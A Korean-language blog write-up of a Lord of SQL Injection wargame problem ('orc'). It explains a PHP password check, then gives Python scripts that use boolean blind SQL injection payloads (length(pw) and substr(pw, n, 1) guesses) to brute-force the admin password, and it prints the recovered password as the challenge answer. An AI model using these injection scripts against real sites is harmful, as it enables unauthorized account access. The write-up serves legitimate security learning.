Lord of SQL Injection

Lord of SQL Injection 4번 문제 - orc

ilsancityboy 2024. 5. 2. 20:38

config.php 파일참조
login_chk(); 함수 사용
db연결
get 방식으로 입력받은 pw 칸에 prob,_,.,\, () 사용시 no hack 출력
id가 admin 이고 입력받은 pw 가 일치하면 로그인성공 

addslashes() 함수를 사용하여 사용자가 입력한 문자열에 있는 따옴표나 백슬래시와 같은 특수 문자를 데이터베이스에 안전하게 저장할 수 있게 됨.

id가 admin 이고 pw가 일치하면 문제 해결.

admin 이라는 계정의 비밀번호를 알아내는게 이 문제의 답안이다.

 

먼저 1번문제처럼 pw의값을 아무렇게나 넣고 강제로 or 을 써넣어 참으로 만들어 보았다.

 

Hello admin 은 뜨는데 문제는 풀리지 않는모습 

왜냐면 마지막에서 두번째 줄게

if(($result['pw'])) && ($result['pw'] == $_GET['pw'])) solve("orc");

입력한 비밀번호와 데이터베이스 안에 있는 pw 의 값이 일치한지 확인해야 풀리게 되는 코드가 있기때문에 어쩔수없이 비밀번호를 알아내는 수 밖에 없다.

 

이럴때 우리는 어떤걸 써야하는지 대략 짐작이 갈 것이다.

바로 무차별 대입 공격(Brute force)이다.

하나하나 다 때려맞춰보는 방식의 공격이다.

대략적으로 풀어나가는 방법을 생각해보자면

1. 비밀번호 자릿수 알아내기

2. 비밀번호 자릿수에 맞춰 단어 대입을 하나씩 맞춰나가기.

우선 이 귀찮고 복잡한 과정을 하기위해 파이썬으로 코드를 짜서 자동화 하게 만들 것이다.

 

Lord of SQL Injection 페이지에 파이썬 코드를 쓰기 위해선 리퀘스트 요청을 해주는 모듈을 파이썬에서 사용해야한다.

https://ilsancityboy.tistory.com/55

 

파이썬 리퀘스트 요청 (request 모듈)

파이썬의 requests 모듈은 HTTP 요청을 보내고 응답을 받는 데 사용되는 라이브러리입니다. requests 모듈은 다양한 HTTP 메서드(GET, POST, PUT, DELETE 등)를 지원하며, 간단하고 직관적인 API를 제공하여 HTTP

ilsancityboy.tistory.com

 

import requests

cookies={'PHPSESSID' : 자신의 쿠키값'}
for i in range(1,10):
    params={'pw':f'\' or id=\'admin\' and length(pw)={i}#'}

    res=requests.get(url=url,cookies=cookies,params=params)

    if("Hello admin" in res.text):
        print(i)
res=requests.get(url=url,cookies=cookies,params=params)



#print(res.text)

 

 params={'pw':f'\' or id=\'admin\' and length(pw)={i}#'

가장 살펴봐야할 것은 이 부분인데

f 는 f-string 을 사용하여 

'or id='admin' and length(pw)={i}#'

이라는 문자열을 사이트에 요청방식으로 보내는 것이다.

\' 이부분은 파이썬 프로그램 내에서 작은 따옴표로 기능적인 인식을 하지않고 그저 문자열로 인식하게끔 돕기위해 

\' 이런식으로 작성해야한다.

파이썬 내에서는 문자열로 인식해 작은 따옴표를 문자열에 추가해 페이지로 성공적으로 보내게되고

페이지에선 작은따옴표를 받아 기능적으로 사용할 수 있게 되는것.

    if("Hello admin" in res.text):
       print(i)    
이부분은 비밀번호의 길이가 데이터베이스 내에 있는 비밀번호의 길이와 맞았을 때
Hello admin 라는 구문이 등장하게 될것이니까 이 구문이 등장하게 되었을때 몇자리인지 출력하게 된다.

 

 

비밀번호는 8자리수인것을 확인.

 

이제 8자리수만큼 비밀번호를 하나씩 때려맞춰보는 방법이 남아있다. 이또한 파이썬으로 코드 작성.

 

import requests
import string

cookies = {'PHPSESSID': '자신의 쿠키값'}
characters = string.ascii_letters + string.digits


# 패스워드의 길이를 증가시키면서 추측
for pw_len in range(1, 9):
   
    for pw_word in characters:
        params = {'pw': f"' or id='admin' and substr(pw, {pw_len}, 1)='{pw_word}"}
        res = requests.get(url=url, params=params, cookies=cookies)
        if "Hello admin" in res.text:
            print(f"pw의 {pw_len}번째 값은 {pw_word}입니다")
            break

 

characters = string.ascii_letters + string.digits

string 모듈을 사용해 문자와 숫자들의 총 모음 변수를 하나 준비해주고 

 

       params = {'pw': f"' or id='admin' and substr(pw, {pw_len}, 1)='{pw_word}"}

이부분에서 

 

substr(pw, {pw_len}, 1)

이부분에서 {pw_len} 번째 자리수에 때려맞춘 단어가 맞다면

Hello admin 을 출력하게 될것이니 

            print(f"pw의 {pw_len}번째 값은 {pw_word}입니다")

이 자릿수의 단어는 어떤것인지 확인하게 되는 코드이다.

 

좀 어려울 수 있는데 쉽게보자면 

admin 이라는 계정의 pw에서 1번째 자리 에는 0이다. 라는식으로 요청을 날리고 0이맞다면 Hello admin 이 출력될것이니까 0을 가져오고 만약 1번째 자리가 0이 아니라면 for문에 의해서 1번째 자리는 1이다. 라는식으로 해당 자리에 맞는 단어가 들어갈 때 까지 무한 반복하여 비밀번호를 맞추게 되는 것이다.

따라서 코드를 실행하게되면 

 

비밀번호는 095a9852 인것을 확인하며 문제 해결.